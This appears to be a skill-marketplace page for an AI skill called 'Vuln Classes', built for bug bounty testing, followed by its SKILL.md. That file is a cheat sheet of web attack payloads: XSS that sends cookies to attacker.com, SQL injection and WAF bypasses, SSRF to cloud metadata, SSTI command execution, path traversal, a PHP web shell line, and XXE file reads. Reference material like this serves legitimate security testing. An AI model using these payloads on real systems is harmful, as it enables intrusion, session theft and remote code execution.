Vuln Classes logo

Vuln Classes

Community
jinyimeng01
vuln-classes

Vulnerability class encyclopedia. Detection signals, exploitation techniques, and impact demonstration for XSS, SQLi, SSRF, IDOR, SSTI, path traversal, file upload, XXE, CSRF, CORS, prototype pollution, and business logic flaws.

Overview

Publisherjinyimeng01
Repositorymastermind-bug-bounty
Skill namevuln-classes
Stars
60
Forks
5
Bundled files
Instructions only
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by jinyimeng01 on GitHub. Read the source before you install it.

Installation

Install the Vuln Classes AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/jinyimeng01/mastermind-bug-bounty/tree/main/skills/vuln_classes
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/jinyimeng01/mastermind-bug-bounty.git /tmp/mastermind-bug-bounty
mkdir -p .claude/skills
cp -r /tmp/mastermind-bug-bounty/skills/vuln_classes .claude/skills/vuln-classes
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Vuln Classes in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Vuln Classes on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Vuln Classes is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Vulnerability Classes — Detection & Exploitation Encyclopedia

XSS (Cross-Site Scripting)

Detection: Input reflected in HTML/JS/attribute context Exploitation: Session hijack, keylogging, CSRF chaining

Payloads by Context

HTML context:

html
<script>alert(document.cookie)</script>
<img src=x onerror=alert(document.cookie)>
<svg onload=fetch('https://attacker.com/?c='+document.cookie)>

Attribute context:

html
" onmouseover="alert(1)
' autofocus onfocus="alert(1)
javascript:alert(1)

JS context:

javascript
'-alert(document.cookie)-'
</script><script>alert(1)</script>
\';alert(1)//

WAF Bypass

Polyglot: jaVasCript:/*-/*`/*`/*'/*"/*/(/* */oNcliCk=alert() )
HTML entities: &#x3C;script&#x3E;
SVG vectors: <svg onload=alert(1)>
Event handlers: onpointerenter, ontoggle, onanimationstart
Template literals: ${alert(1)}

SQL Injection

Detection: Error messages, boolean/time differences, UNION data Exploitation: Data extraction, auth bypass, RCE

Payloads by Database

MySQL:

sql
' OR '1'='1' --
' UNION SELECT 1,2,3 --
' AND SLEEP(5) --
' UNION SELECT table_name FROM information_schema.tables --

PostgreSQL:

sql
' OR 1=1 --
' UNION SELECT 1,2,3 --
' AND pg_sleep(5) --
' UNION SELECT table_name FROM information_schema.tables --

MSSQL:

sql
' OR 1=1 --
' UNION SELECT 1,2,3 --
'; WAITFOR DELAY '0:0:5' --
' UNION SELECT name FROM sys.tables --

WAF Bypass

Comment obfuscation: /*!50000SELECT*/
Case: SeLeCt, UnIoN
Unicode: %C0%A0 for space
Parameter pollution: id=1&id=UNION SELECT
JSON: Content-Type: application/json

SSRF (Server-Side Request Forgery)

Detection: URL parameter fetches external resource Exploitation: Internal network access, cloud metadata

Payloads

http://127.0.0.1
http://[::1]
http://0.0.0.0
http://localhost
http://169.254.169.254/latest/meta-data/    (AWS)
http://metadata.google.internal/             (GCP)
http://100.100.100.200/latest/meta-data/     (Alibaba)
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO
dict://127.0.0.1:6379/

Bypass

DNS rebinding
URL encoding: %32%31%37%2e%30%2e%30%2e%31
Decimal IP: http://2130706433/ (= 127.0.0.1)
Octal IP: http://0177.0.0.01/
302 redirect from external server

IDOR (Insecure Direct Object Reference)

Detection: Different user IDs return different data without auth check Exploitation: Unauthorized data access

Techniques

Sequential ID: /api/users/1 → /api/users/2
GUID/UUID manipulation
Bulk enumeration: /api/users?id[]=1&id[]=2&id[]=3
Replace numeric ID with email/username
GraphQL over-fetching: query { user(id: 2) { email password } }

SSTI (Server-Side Template Injection)

Detection: Template expression evaluated Exploitation: RCE via template engine

Detection Payloads

{{7*7}}     → 49 = Jinja2/Twig
${7*7}      → 49 = Freemarker/Velocity
<%= 7*7 %>  → 49 = ERB
#{7*7}      → 49 = Pug/Jade
${{7*7}}    → 49 = AngularJS

RCE Payloads

Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Freemarker: ${"freemarker.template.utility.Execute"?new()("id")}

Path Traversal / LFI

Detection: File path parameter, ../ not filtered Exploitation: Arbitrary file read

Payloads

../../../etc/passwd
....//....//....//etc/passwd
/etc/passwd%00.jpg
php://filter/convert.base64-encode/resource=index.php
file:///etc/passwd

File Upload

Detection: Unrestricted file upload Exploitation: Web shell → RCE

Bypass Techniques

Extension: .php → .pHp, .php5, .phtml, .php.jpg, .php%00.jpg
Content-Type: image/jpeg ← but contains PHP
Magic bytes: GIF89a; <?php system($_GET['cmd']); ?>
Polyglot: valid image + PHP code

XXE (XML External Entity)

Detection: XML body parsed, external entity resolves Exploitation: File read, SSRF, DoS

Payload

xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

CSRF & CORS

CORS Test: Access-Control-Allow-Origin reflects Origin header CSRF: Create a malicious form that submits on visit


Business Logic

Amount Tampering: price=0, quantity=-1, amount=0.01 Race Conditions: Parallel requests to exploit TOCTOU Workflow Bypass: Skip steps in multi-step processes

Frequently asked questions

What does the Vuln Classes AI skill do?

Vulnerability class encyclopedia. Detection signals, exploitation techniques, and impact demonstration for XSS, SQLi, SSRF, IDOR, SSTI, path traversal, file upload, XXE, CSRF, CORS, prototype pollution, and business logic flaws.

Why use Vuln Classes on TypingMind?

Because you install it once and use it with any model. Vuln Classes is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Vuln Classes in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/jinyimeng01/mastermind-bug-bounty/tree/main/skills/vuln_classes. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Vuln Classes?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Vuln Classes?

As many as you like. As long as a model supports skills, you can use Vuln Classes with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Vuln Classes AI skill free?

It is published on GitHub by jinyimeng01. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇